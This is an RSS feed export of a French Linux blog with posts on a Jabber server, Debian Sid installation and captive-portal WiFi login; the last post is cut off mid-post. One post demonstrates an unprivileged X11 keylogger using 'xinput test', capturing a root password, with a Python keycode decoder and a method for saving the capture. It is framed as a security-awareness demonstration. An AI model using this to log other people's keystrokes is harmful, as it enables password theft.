<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>®om&#039;s blog &#187; puf</title>
	<atom:link href="http://blog.rom1v.com/category/puf/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.rom1v.com</link>
	<description>Un blog libre</description>
	<lastBuildDate>Thu, 02 Feb 2012 20:03:59 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Héberger un serveur Jabber simplement (prosody)</title>
		<link>http://blog.rom1v.com/2012/01/heberger-un-serveur-jabber-simplement-prosody/</link>
		<comments>http://blog.rom1v.com/2012/01/heberger-un-serveur-jabber-simplement-prosody/#comments</comments>
		<pubDate>Fri, 06 Jan 2012 22:12:58 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[auto-hébergement]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[jabber]]></category>
		<category><![CDATA[réseau]]></category>
		<category><![CDATA[serveur]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=3696</guid>
		<description><![CDATA[J&#8217;ai enfin décidé d&#8217;héberger mon propre serveur Jabber, pour plusieurs raisons&#160;: la liste de mes contacts est mieux sur mon serveur que sur un autre&#160;; le serveur que j&#8217;utilisais (jabber.fr) rencontre parfois quelques difficultés&#160;; mon adresse Jabber sera ainsi la même que mon adresse mail (rom suivi de @rom1v.com). Et c&#8217;est simple&#160;! Installation et configuration [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2012/01/jabber.png"><img src="http://blog.rom1v.com/wp-content/uploads/2012/01/jabber.png" alt="" title="jabber" width="133" height="200" class="alignright size-full wp-image-3707" /></a></p>
<p>J&#8217;ai enfin décidé d&#8217;héberger mon propre serveur <a href="http://www.jabberfr.org/">Jabber</a>, pour plusieurs raisons&nbsp;:</p>
<ul>
<li>la liste de mes contacts est mieux sur mon serveur que sur un autre&nbsp;;</li>
<li>le serveur que j&#8217;utilisais (<a href="http://jabber.apinc.org/">jabber.fr</a>) rencontre parfois quelques difficultés&nbsp;;</li>
<li>mon adresse <em>Jabber</em> sera ainsi la même que <a href="http://blog.rom1v.com/2009/08/hebergez-vos-mails-sur-ubuntu-server-et-liberez-vous/">mon adresse mail</a> (<code>rom</code> suivi de <code>@rom1v.com</code>).</li>
</ul>
<p>Et c&#8217;est simple&nbsp;!</p>
<h3>Installation et configuration</h3>
<p>Tout d&#8217;abord, installer le paquet <code>prosody</code>&nbsp;:</p>
<pre>apt-get install prosody</pre>
<p>Puis ajouter à la fin du fichier <code>/etc/prosody/prosody.cfg.lua</code>&nbsp;:</p>
<pre>Host "<em>nom.de.domaine</em>"</pre>
<p>Pour moi&nbsp;:</p>
<pre>Host "rom1v.com"</pre>
<p>Créer un utilisateur en ligne de commandes et choisir un mot de passe&nbsp;:</p>
<pre>prosodyctl adduser <em>user</em>@<em>nom.de.domaine</em></pre>
<h3>Certificat</h3>
<p>Un <a href="http://fr.wikipedia.org/wiki/Certificat_%C3%A9lectronique#Certificat">certificat</a> TLS/SSL est créé par défaut, mais les champs sont renseignés avec des valeurs non pertinentes (<em>localhost</em> au lieu de <em>nom.de.domaine</em> par exemple). Il est donc préférable d&#8217;en <a href="http://prosody.im/doc/advanced_ssl_tls">générer un nouveau</a>.</p>
<p>Dans le répertoire <code>/etc/prosody/certs</code>, exécuter&nbsp;:</p>
<pre>openssl req -new -x509 -nodes -out <em>nom.de.domaine</em>.cert -keyout <em>nom.de.domaine</em>.key</pre>
<p>Renseigner les champs demandés <em>(«&nbsp;<code>.</code>&nbsp;» pour laisser un champ vide)</em>.</p>
<p>Remplacer le certificat dans le fichier de configuration&nbsp;:</p>
<pre>ssl = {
        key = "/etc/prosody/certs/<em>nom.de.domaine</em>.key";
        certificate = "/etc/prosody/certs/<em>nom.de.domaine</em>.cert";
}</pre>
<h4>Empreinte</h4>
<p>Comme c&#8217;est un certificat auto-signé, les clients <em>Jabber</em> ne lui feront pas confiance&nbsp;: ils demanderont une confirmation, en présentant son empreinte. Il faudra alors vérifier que le certificat présenté est bien le bon, c&#8217;est-à-dire que l&#8217;empreinte est la même.</p>
<p>Pour la connaître&nbsp;:</p>
<pre>openssl x509 -fingerprint -noout -in <em>nom.de.domaine</em>.cert</pre>
<p>Par exemple&nbsp;:</p>
<pre>$ openssl x509 -fingerprint -noout -in rom1v.com.cert
SHA1 Fingerprint=C3:6D:9B:65:06:55:C4:84:B4:A5:8D:4B:12:68:2F:08:71:7E:AC:DD</pre>
<h3>Ports</h3>
<p>Les <a href="http://fr.wikipedia.org/wiki/Liste_des_ports_logiciels">ports</a> TCP 5222 et 5269 <a href="http://www.accessgrid.org/agdp/guide/ports/1.03/x112.html">doivent être ouverts</a>.</p>
<h3>Démarrer</h3>
<p>Il ne reste plus qu&#8217;à démarrer le service.</p>
<pre>service prosody start</pre>
<h3>Clients</h3>
<p>Il est maintenant possible de se connecter en utilisant le nom d&#8217;utilisateur et le mot de passe créés&nbsp;:</p>
<p><a href="http://blog.rom1v.com/wp-content/uploads/2012/01/empathy.png"><img src="http://blog.rom1v.com/wp-content/uploads/2012/01/empathy-300x179.png" alt="" title="empathy" width="300" height="179" class="aligncenter size-medium wp-image-3697" /></a></p>
<h3>Backup</h3>
<p>Les données du serveur sont stockées dans <code>/var/lib/prosody</code>. Il est donc important de ne pas oublier ce répertoire dans le processus de <a href="http://fr.wikipedia.org/wiki/Sauvegarde">sauvegarde</a>.</p>
<p><em>Merci à <a href="http://www.cyrille-borne.com/index.php?post/2011/01/13/Faire-son-serveur-jabber-personnel-en-moins-de-5-minutes">Cyrille Borne</a> et <a href="http://blog.nicolargo.com/2011/01/un-serveur-jabber-en-5-minutes-chronos-sous-debianubuntu.html">nicolargo</a>.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2012/01/heberger-un-serveur-jabber-simplement-prosody/feed/</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
		<item>
		<title>Keylogger sous GNU/Linux : enregistrer les touches tapées au clavier</title>
		<link>http://blog.rom1v.com/2011/11/keylogger-sous-gnulinux-enregistrer-les-touches-tapees-au-clavier/</link>
		<comments>http://blog.rom1v.com/2011/11/keylogger-sous-gnulinux-enregistrer-les-touches-tapees-au-clavier/#comments</comments>
		<pubDate>Tue, 01 Nov 2011 22:09:57 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[sécurité]]></category>
		<category><![CDATA[serveur x]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=3212</guid>
		<description><![CDATA[En tant que root, il est bien sûr potentiellement possible de faire ce que l&#8217;on veut sur sa machine, comme enregistrer toutes les touches tapées au clavier (keylogger). Mais aussi incroyable (et inquiétant) que cela puisse paraître, il est possible de faire exactement la même chose… sans être root. Démonstration Et en plus, c&#8217;est tout [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/11/keyboard.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/11/keyboard.png" alt="" title="keyboard" width="128" height="128" class="alignright size-full wp-image-3235" /></a><br />
En tant que <a href="http://fr.wikipedia.org/wiki/Utilisateur_root"><em>root</em></a>, il est bien sûr potentiellement possible de faire ce que l&#8217;on veut sur sa machine, comme enregistrer toutes les touches tapées au clavier (<a href="http://fr.wikipedia.org/wiki/Enregistreur_de_frappe">keylogger</a>).</p>
<p>Mais aussi incroyable (et inquiétant) que cela puisse paraître, il est possible de faire exactement la même chose… sans être <em>root</em>.</p>
<h3>Démonstration</h3>
<p>Et en plus, c&#8217;est tout simple&nbsp;: il suffit pour un programme d&#8217;écouter les événements clavier envoyés par le <a href="http://fr.wikipedia.org/wiki/X_Window_System">serveur X</a>.<br />
Prenons un outil qui le fait déjà (ça nous évitera de le coder), <code>xinput</code>&nbsp;:</p>
<pre>apt-get install xinput</pre>
<p>Pour obtenir la liste des périphériques utilisables&nbsp;:</p>
<pre>xinput list</pre>
<p>Repérer la ligne concernant le clavier (contenant «&nbsp;<code>AT</code>&nbsp;») et noter son <em>id</em> (ici <code>11</code>).</p>
<pre>$ xinput list | grep AT
    ↳ AT Translated Set 2 keyboard            	id=11	[slave  keyboard (3)]</pre>
<p>Puis démarrer l&#8217;écoute sur ce périphérique dans un terminal&nbsp;:</p>
<pre>xinput test 11</pre>
<p>Au fur et à mesure que l&#8217;on tape du texte, la sortie standard de <code>xinput</code> indique quelles touches sont tapées&nbsp;:</p>
<pre>key press   56
key release 56
key press   32
key release 32
key press   57
key release 57
key press   44
key release 44
key press   32
key press   30
key release 32
key release 30
key press   27
key release 27</pre>
<p>Cela fonctionne même lorsqu&#8217;on écrit dans une autre application, quelque soit l&#8217;utilisateur qui l&#8217;a démarrée. En particulier, si dans un autre terminal on exécute la commande suivante, le mot de passe est bien capturé&nbsp;:</p>
<pre>$ su -
Mot de passe : </pre>
<p>Un programme avec de simples droits utilisateur peut donc écouter tout ce qui est tapé au clavier (et donc l&#8217;enregistrer, l&#8217;envoyer à un serveur…).</p>
<h3>Décodage</h3>
<h4>Convertisseur</h4>
<p>La sortie de <code>xinput</code> n&#8217;est pas très utilisable en pratique. Pour la décoder, un programme d&#8217;une vingtaine de lignes en <em>Python</em> suffit (fortement inspiré de <a href="http://ardoris.wordpress.com/2011/04/24/linux-keylogger-proof-of-concept/">ce PoC</a>). Appelons-le <a href="http://dl.rom1v.com/keylogger/xinput-decoder.py"><code>xinput-decoder.py</code></a>&nbsp;:</p>
<pre>#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import re, sys
from subprocess import *

def get_keymap():
    keymap = {}
    table = Popen(['xmodmap', '-pke'], stdout=PIPE).stdout
    for line in table:
        m = re.match('keycode +(\d+) = (.+)', line.decode())
        if m and m.groups()[1]:
            keymap[m.groups()[0]] = m.groups()[1].split()[0]
    return keymap

if __name__ == '__main__':
    keymap = get_keymap();
    for line in sys.stdin:
        m = re.match('key press +(\d+)', line.decode())
        if m:
            keycode = m.groups()[0]
            if keycode in keymap:
                print keymap[keycode],
            else:
                print '?' + keycode,</pre>
<p>Pour convertir le résultat à la volée&nbsp;:</p>
<pre>xinput test 11 | ./xinput-decoder.py</pre>
<h4>Problème de redirection</h4>
<p>Le problème, c&#8217;est que lorsqu&#8217;on redirige la sortie de <code>xinput</code> dans un fichier ou en entrée d&#8217;un autre programme, le contenu ne s&#8217;affiche que par salves (d&#8217;environ 128 caractères apparemment). Sans doute une histoire de <a href="http://fr.wikipedia.org/wiki/M%C3%A9moire_tampon">buffer</a>, à mon avis activé uniquement lorsque la fonction <a href="http://www.kernel.org/doc/man-pages/online/pages/man3/isatty.3.html"><code>isatty()</code></a> retourne <em>true</em>.</p>
<p>Pour contourner le problème et récupérer les dernières touches tapées, il est possible de démarrer la commande dans un <code>screen</code>&nbsp;:</p>
<pre>screen xinput test 11</pre>
<p>puis, à la fin de la capture, d&#8217;enregistrer le contenu dans un fichier. Pour cela, dans le <code>screen</code> ainsi ouvert, taper <code>Ctrl+A</code>, <code>:</code>, puis <code>hardcopy -h /tmp/log</code>.<br />
De cette manière, <code>/tmp/log</code> contiendra toute la capture.</p>
<p>Pour convertir le résultat&nbsp;:</p>
<pre>$ ./xinput-parser.py &lt; /tmp/log
s u space minus Return <em>mon mot de passe root</em> Return a p t minus g e t space u p d a t e Return Control_L a colon</pre>
<h4>Améliorations</h4>
<p>Une solution plus pratique serait peut-être de démarrer <code>xinput</code> par le programme <em>Python</em>, en lui faisant croire qu&#8217;il écrit dans un <em>TTY</em> (ce que je ne sais pas faire). <a href="http://www.kirsle.net/blog/kirsle/building-a-better-keylogger">Quelqu&#8217;un</a> l&#8217;a fait <a href="http://sh.kirsle.net/keylog2">en <em>Perl</em></a>.<br />
Il faudrait également prendre en compte le relâchement des touches dans le décodeur, car lorsqu&#8217;il affiche «&nbsp;<code>Shift_L a b</code>&nbsp;», nous n&#8217;avons aucun moyen de savoir si la touche <code>Shift</code> a été relâchée avant le <code>a</code>, entre le <code>a</code> et le <code>b</code>, ou après le <code>b</code>.</p>
<h3>Liens</h3>
<p>Merci à <a href="http://papillon-butineur.blogspot.com/2011/10/keylogger-sous-linux.html">Papillon-butineur</a> de m&#8217;avoir fait découvrir ce fonctionnement étonnant du <em>serveur X</em>.<br />
Je vous recommande le billet suivant (en anglais) ainsi que ses commentaires&nbsp;: <a href="http://theinvisiblethings.blogspot.com/2011/04/linux-security-circus-on-gui-isolation.html">The Linux Security Circus: On GUI isolation</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2011/11/keylogger-sous-gnulinux-enregistrer-les-touches-tapees-au-clavier/feed/</wfw:commentRss>
		<slash:comments>23</slash:comments>
		</item>
		<item>
		<title>Installer Debian Sid</title>
		<link>http://blog.rom1v.com/2011/08/installer-debian-sid/</link>
		<comments>http://blog.rom1v.com/2011/08/installer-debian-sid/#comments</comments>
		<pubDate>Sun, 28 Aug 2011 18:04:31 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[chiffrement]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[gnome]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[nvidia]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=2862</guid>
		<description><![CDATA[Je viens de migrer mon PC principal vers Debian Sid (unstable), qui remplace Ubuntu, après 5 ans de bons et loyaux services. Il y a de nombreuses manières d&#8217;installer Debian, plusieurs versions, plein d&#8217;architectures… L&#8217;objectif de cet article est de décrire l&#8217;installation telle que je l&#8217;ai réalisée. Dans l&#8217;ordre&#160;: le téléchargement&#160;; la copie sur une [...]]]></description>
			<content:encoded><![CDATA[<p>Je viens de migrer mon PC principal vers <strong>Debian Sid</strong> (<em>unstable</em>), qui remplace <strong>Ubuntu</strong>, après 5 ans de bons et loyaux services.</p>
<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/08/debian.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/08/debian.png" alt="" title="debian" width="190" height="250" class="aligncenter size-full wp-image-2864" /></a></p>
<p>Il y a de nombreuses manières d&#8217;installer <em>Debian</em>, plusieurs versions, plein d&#8217;architectures…<br />
L&#8217;objectif de cet article est de décrire l&#8217;installation <em>telle que je l&#8217;ai réalisée</em>.</p>
<p>Dans l&#8217;ordre&nbsp;:</p>
<ul>
<li>le téléchargement&nbsp;;</li>
<li>la copie sur une clé USB&nbsp;;</li>
<li>l&#8217;installation directe de <em>Sid</em> à partir de la clé USB&nbsp;;</li>
<li>la conservation du <a href="http://blog.rom1v.com/2010/05/chiffrer-son-dossier-personnel-home-sous-ubuntu/"><em>home</em> chiffré mis en place par <em>Ubuntu</em></a>&nbsp;;</li>
<li>l&#8217;installation des pilotes <em>NVIDIA</em> et WiFi…</li>
</ul>
<p><em>Bien sûr, avant tout, faites des sauvegardes de toutes vos données importantes. Cet avertissement est sûrement inutile, j&#8217;imagine que vous faites, comme tout le monde, plusieurs backups par semaine… <img src='http://blog.rom1v.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </em></p>
<h3>Téléchargement</h3>
<p>Sur la <a href="http://www.debian.org/">page d&#8217;accueil de Debian</a>, dans <em>&laquo;&nbsp;Obtenir Debian&nbsp;&raquo;</em>, c&#8217;est la version <em>stable</em>.<br />
Ce qui nous intéresse, c&#8217;est la version <em>testing</em>, à partir de laquelle on peut passer en <em>unstable</em> dès l&#8217;installation. Celle-ci est disponible dans <em>&laquo;&nbsp;Le coin du développeur&nbsp;&raquo;</em>, <a href="http://www.debian.org/devel/debian-installer/">Installateur de Debian</a>.</p>
<p>Ici, il faut regarder la partie <em>&laquo;&nbsp;images de CD d&#8217;installation par le réseau (en général 135 à 175 Mo) et au format carte de visite (en général 20 à 50 Mo)&nbsp;&raquo;</em>, et cliquer sur l&#8217;architecture souhaitée. Typiquement, il faut prendre <a href="http://cdimage.debian.org/cdimage/daily-builds/daily/arch-latest/amd64/iso-cd/">amd64</a> pour du 64 bits et <a href="http://cdimage.debian.org/cdimage/daily-builds/daily/arch-latest/i386/iso-cd/">i386</a> pour du 32 bits.</p>
<p>Choisir l&#8217;image <em>businesscard</em> (la plus petite). Pour moi&nbsp;: <a href="http://cdimage.debian.org/cdimage/daily-builds/daily/arch-latest/amd64/iso-cd/debian-testing-amd64-businesscard.iso">debian-testing-amd64-businesscard.iso</a>.</p>
<h3>Clé USB</h3>
<h4>Connaître l&#8217;emplacement</h4>
<p>Nous avons besoin de connaître l&#8217;emplacement de la clé, sous la forme <code>/dev/sd<em>X</em></code>.<br />
Une méthode parmi d&#8217;autres est de consulter <code>/var/log/syslog</code> lors du branchement&nbsp;: insérer la clé USB et exécuter&nbsp;:</p>
<pre>tail /var/log/syslog</pre>
<p>Vous devriez obtenir plusieurs lignes qui ressemblent à ceci&nbsp;:</p>
<pre>Aug 28 00:54:27 rom-laptop kernel: [ 1868.930100] sd 4:0:0:0: [sdb] 2015232 512-byte logical blocks: (1.03 GB/984 MiB)</pre>
<p>Sur cet exemple, nous voyons <em>[sdb]</em>, nous en concluons que l&#8217;emplacement de la clé est <code>/dev/sdb</code>.</p>
<p>Alternativement, si la clé est montée, il est possible d&#8217;obtenir cet emplacement dans le résultat de&nbsp;:</p>
<pre>df -h</pre>
<p><em><strong>Ne vous trompez surtout pas d&#8217;emplacement, vous risqueriez d&#8217;écraser toutes les données de votre disque dur&nbsp;!</strong></em></p>
<h4>Préparer</h4>
<p>Si vous avez une clé réservée pour vos installations de systèmes d&#8217;exploitation (sans données à conserver), je vous conseille la méthode la plus simple, qui écrase tout ce qu&#8217;il y a sur la clé (<a href="http://www.debian.org/releases/stable/amd64/ch04s03.html.fr#usb-copy-isohybrid">4.3.1</a>)&nbsp;:</p>
<pre>$ sudo -s
# cat debian-testing-amd64-businesscard.iso > /dev/sdb
# sync</pre>
<p>Ensuite, il faut redémarrer, et configurer le BIOS pour qu&#8217;il boote sur clé USB (souvent, les clés USB sont reconnues comme un disque dur, il faut donc régler la priorité entre les disques durs).</p>
<h3>Installation</h3>
<p>Pour l&#8217;installation, l&#8217;ordinateur doit être connecté à Internet par un câble Ethernet.</p>
<p>L&#8217;ordinateur boote sur la clé USB, et affiche un menu d&#8217;installation de <em>Debian</em>. Sélectionner <em>&laquo;&nbsp;Advanced Options&nbsp;&raquo;</em>.<br />
Ici, il est possible changer l&#8217;environnement de bureau (<em>Gnome</em>, <em>KDE</em>, <em>XFCE</em>…). Par défaut, c&#8217;est <em>Gnome</em>.<br />
Ensuite, sélectionner <em>&laquo;&nbsp;Expert Install&nbsp;&raquo;</em> pour lancer l&#8217;installation (afin de pouvoir choisir <em>sid/unstable</em> au lieu de <em>testing</em> dès l&#8217;installation).</p>
<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/08/debian-installer.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/08/debian-installer-300x225.png" alt="" title="debian-installer" width="300" height="225" class="aligncenter size-medium wp-image-2898" /></a></p>
<p>Lors de l&#8217;étape de partitionnement, dans l&#8217;hypothèse où le disque dur utilise une partition séparée pour le <code>home</code>, ne pas oublier de configurer les points de montage (<code>/</code> et <code>/home</code>), et ne pas formater <code>/home</code> (pour conserver les données personnelles).</p>
<p>Utiliser le même nom d&#8217;utilisateur et mot de passe que celui d&#8217;<em>Ubuntu</em> (c&#8217;est important pour accéder au répertoire <em>home</em> chiffré).</p>
<p>Je ne détaille pas les autres étapes d&#8217;installation, il suffit de lire.</p>
<h3>Déchiffrer le home</h3>
<p>Une fois l&#8217;installation terminée et le système démarré, il n&#8217;est pas possible de se connecter graphiquement avec le compte utilisateur, car le <em>home</em> est chiffré et par défaut, <em>eCryptFS</em> n&#8217;est pas installé. Il faut donc l&#8217;installer.</p>
<p>Pour cela, ouvrir un TTY (<em>Ctrl+Alt+F1</em>), se connecter en <code>root</code> (ou avec le compte utilisateur si vous avez interdit la connexion de <code>root</code>, dans ce cas utiliser <code>sudo</code>), puis installer <code>ecryptfs-utils</code>&nbsp;:</p>
<pre>apt-get install ecryptfs-utils</pre>
<p>Si lors de l&#8217;installation vous n&#8217;avez pas choisi le même mot de passe que sur <em>Ubuntu</em>, profitez-en pour le rétablir&nbsp;:</p>
<pre>passwd monlogin</pre>
<p>Maintenant, il est possible de se connecter graphiquement, en retournant dans le TTY graphique (<em>Ctrl+Alt+F7</em>).</p>
<h3>Gestionnaire de composite</h3>
<p>Pour moi, il est indispensable d&#8217;utiliser un <a href="http://doc.ubuntu-fr.org/tutoriel/composite">gestionnaire de composite</a>. Pour au moins 3 raisons&nbsp;:</p>
<ul>
<li>éviter les trainées lors du déplacement de fenêtres&nbsp;;</li>
<li>activer les ombres sous les fenêtres (très important pour le confort visuel)&nbsp;;</li>
<li>les performances…</li>
</ul>
<p>Par défaut, <em>Metacity</em> (le gestionnaire de fenêtres de <em>Gnome</em>) n&#8217;en utilise pas. C&#8217;est la raison pour laquelle <em>Compiz</em> se révèle souvent indispensable.<br />
Cependant, je viens de découvrir que <em>Metacity</em> savait gérer le <em>compositing</em>, grâce à une option bien cachée. Pour l&#8217;activer&nbsp;:</p>
<pre>gconftool-2 -s -t boolean /apps/metacity/general/compositing_manager true</pre>
<p>Il est également possible d&#8217;utiliser <code>gconf-editor</code>&nbsp;:<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2011/08/gconf-editor-compositing-manager.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/08/gconf-editor-compositing-manager-300x206.png" alt="" title="gconf-editor-compositing-manager" width="300" height="206" class="aligncenter size-medium wp-image-2878" /></a></p>
<p>Il n&#8217;est pas configurable, et ne permet pas de faire tout ce que fait <em>Compiz</em>, mais pour moi c&#8217;est suffisant.</p>
<h3>Pilotes NVIDIA</h3>
<p>J&#8217;ai la malchance d&#8217;avoir une carte graphique <em>NVIDIA</em>, qui nécessite dans certains cas d&#8217;avoir recours à des pilotes privateurs. Sans eux, impossible de faire fonctionner <em>Compiz</em> ni certains jeux.</p>
<p>Cependant, le pilote libre <em>Nouveau</em> (installé par défaut) est assez impressionnant par rapport à l&#8217;ancien (<em>nv</em>). Et même s&#8217;il ne permet pas de démarrer <em>Compiz</em>, il supporte le <em>compositing</em> de <em>Metacity</em> avec de bonnes performances.</p>
<p><ins datetime="2011-10-28T00:00:00+01:00">En installant le paquet <code>libgl1-mesa-dri-experimental</code>, le pilote Nouveau<em> sait faire fonctionner </em>Compiz<em> et surtout </em>Gnome-Shell<em>. Il faut simplement prendre soin d&#8217;avoir supprimé toute trace éventuelle du pilote propriétaire&nbsp;:</em></ins></p>
<pre>apt-get remove nvidia-*</pre>
<p>Pour néanmoins installer les pilotes privateurs (les dépôts <code>non-free</code> doivent être activés)&nbsp;:</p>
<pre>apt-get install nvidia-kernel-dkms nvidia-xconfig nvidia-settings &#038;&#038; nvidia-xconfig</pre>
<p><em>(Remplacez <code>nvidia-kernel-dkms</code> par <code>nvidia-kernel-legacy-<em>VERSION</em>-dkms</code> pour une carte graphique nécessitant <a href="http://wiki.debian.org/NvidiaGraphicsDrivers#Choose_a_driver_version">des pilotes plus anciens</a>.)</em></p>
<p>Puis rebooter.</p>
<h3>Pilotes WiFi</h3>
<p>J&#8217;ai également dû installer des pilotes pour ma carte WiFi&nbsp;:</p>
<pre>$ lspci | grep Network
03:00.0 Network controller: Intel Corporation WiFi Link 5100</pre>
<p>Il suffit d&#8217;installer le paquet non-libre <code>firmware-iwlwifi</code>&nbsp;:</p>
<pre>apt-get install firmware-iwlwifi</pre>
<p><em>Il y a plusieurs paquets en <code>firmware-<em>quelquechose</em></code>, selon votre matériel.</em></p>
<h3>Agencement du clavier</h3>
<p>Avec la version actuelle, <em>Debian Sid</em> installe par défaut l&#8217;agencement du clavier <em>&laquo;&nbsp;France (Obsolète) Autre&nbsp;&raquo;</em> au lieu de <em>&laquo;&nbsp;France Autre&nbsp;&raquo;</em>. Je vous conseille de le changer dans <em>Système → Préférences → Clavier → Agencements</em>, sinon vous risquez d&#8217;avoir des surprises (notamment si vous utilisez des <a href="http://fr.wikipedia.org/wiki/Tube_%28shell%29">pipes</a> dans un terminal)…<br />
<em><strong>EDIT&nbsp;:</strong> Cela ne suffit pas, pour que le réglage soit conservé, il faut en fait le changer dans GDM (l&#8217;écran de connexion), une liste déroulante en bas permet de changer la disposition du clavier.</em></p>
<h3>Conclusion</h3>
<p>Avant la migration, j&#8217;avais un peu peur pour la conservation du <em>home</em> chiffré… Mais finalement, aucun souci.</p>
<p>Par rapport à <em>Ubuntu</em>, j&#8217;apprécie beaucoup d&#8217;avoir des versions plus à jour des logiciels sans passer par des PPA. Et aussi d&#8217;avoir plus de logiciels dans les dépôts par défaut (<code>pino</code> par exemple). L&#8217;installation est cependant un peu moins simple qu&#8217;<em>Ubuntu</em> (il faut avouer qu&#8217;il est difficile de faire plus simple).</p>
<p>Pour finir, voici une capture d&#8217;écran juste après l&#8217;installation (avec, comme le veut la tradition, un terminal ouvert)&nbsp;:<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2011/08/debian-screenshot.jpg"><img src="http://blog.rom1v.com/wp-content/uploads/2011/08/debian-screenshot-300x187.jpg" alt="" title="debian-screenshot" width="300" height="187" class="aligncenter size-medium wp-image-2906" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2011/08/installer-debian-sid/feed/</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
		<item>
		<title>Authentification automatique à un réseau WiFi avec NetworkManager</title>
		<link>http://blog.rom1v.com/2011/07/authentification-automatique-a-un-reseau-wifi-avec-networkmanager/</link>
		<comments>http://blog.rom1v.com/2011/07/authentification-automatique-a-un-reseau-wifi-avec-networkmanager/#comments</comments>
		<pubDate>Sun, 31 Jul 2011 11:43:34 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[gnome]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[réseau]]></category>
		<category><![CDATA[serveur]]></category>
		<category><![CDATA[ssh]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=2766</guid>
		<description><![CDATA[Certains réseaux WiFi sont ouverts (sans clé de sécurité) mais nécessitent une authentification. C&#8217;est souvent le cas des points d&#8217;accès dans les gares, les hôtels, les campings… Cela concerne également les réseaux ouverts tels que FreeWifi. Une fois connecté à un tel réseau, lorsqu&#8217;avec votre navigateur vous tentez d&#8217;accéder à n&#8217;importe quel site, vous êtes [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/07/wifi.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/07/wifi.png" alt="" title="wifi" width="128" height="128" class="alignright size-full wp-image-2788" /></a><br />
Certains réseaux WiFi sont ouverts (sans clé de sécurité) mais nécessitent une authentification. C&#8217;est souvent le cas des points d&#8217;accès dans les gares, les hôtels, les campings… Cela concerne également les réseaux ouverts tels que <em>FreeWifi</em>.</p>
<p>Une fois connecté à un tel réseau, lorsqu&#8217;avec votre navigateur vous tentez d&#8217;accéder à n&#8217;importe quel site, vous êtes redirigé vers une page d&#8217;authentification demandant votre identifiant et votre mot de passe (parfois il ne s&#8217;agit que d&#8217;accepter des conditions d&#8217;utilisation). Après avoir renseigné ces informations, vous êtes authentifié et pouvez accéder à Internet normalement.</p>
<p>Mais il faut avouer que s&#8217;authentifier manuellement à chaque connexion est pénible. D&#8217;autant plus que la redirection HTTP vers la page d&#8217;authentification ne fonctionne… que pour HTTP. Ainsi, alors que vous êtes connecté au réseau Wifi, votre client mail ne parviendra à récupérer les mails, votre client XMPP n&#8217;arrivera pas à se connecter au serveur… mais sans message indiquant la cause du problème.</p>
<p>Le but de ce billet est de mettre en place une authentification automatique lors de la connexion au réseau.</p>
<h3>Authentification en ligne de commande</h3>
<p>La première étape est de pouvoir réaliser cette authentification en ligne de commande, à partir de l&#8217;identifiant et du mot de passe. C&#8217;est très simple, il suffit d&#8217;imiter ce que fait le navigateur lors du clic sur le bouton <em>Valider</em>.</p>
<p>Pour cela, deux choses sont nécessaires&nbsp;: l&#8217;URL de la page de validation d&#8217;authentification et les champs de formulaire qu&#8217;elle utilise.</p>
<p>Pour les connaître, il faut regarder le code source de la page sur laquelle vous êtes redirigés, en particulier la balise <code>form</code>. Voici un exemple de ce que vous pouvez obtenir <em>(le HTML n&#8217;est pas toujours super propre sur ce genre de pages)</em>&nbsp;:</p>
<pre>&lt;form method="post" action="<strong>http://10.9.0.1:8000/</strong>"&gt;
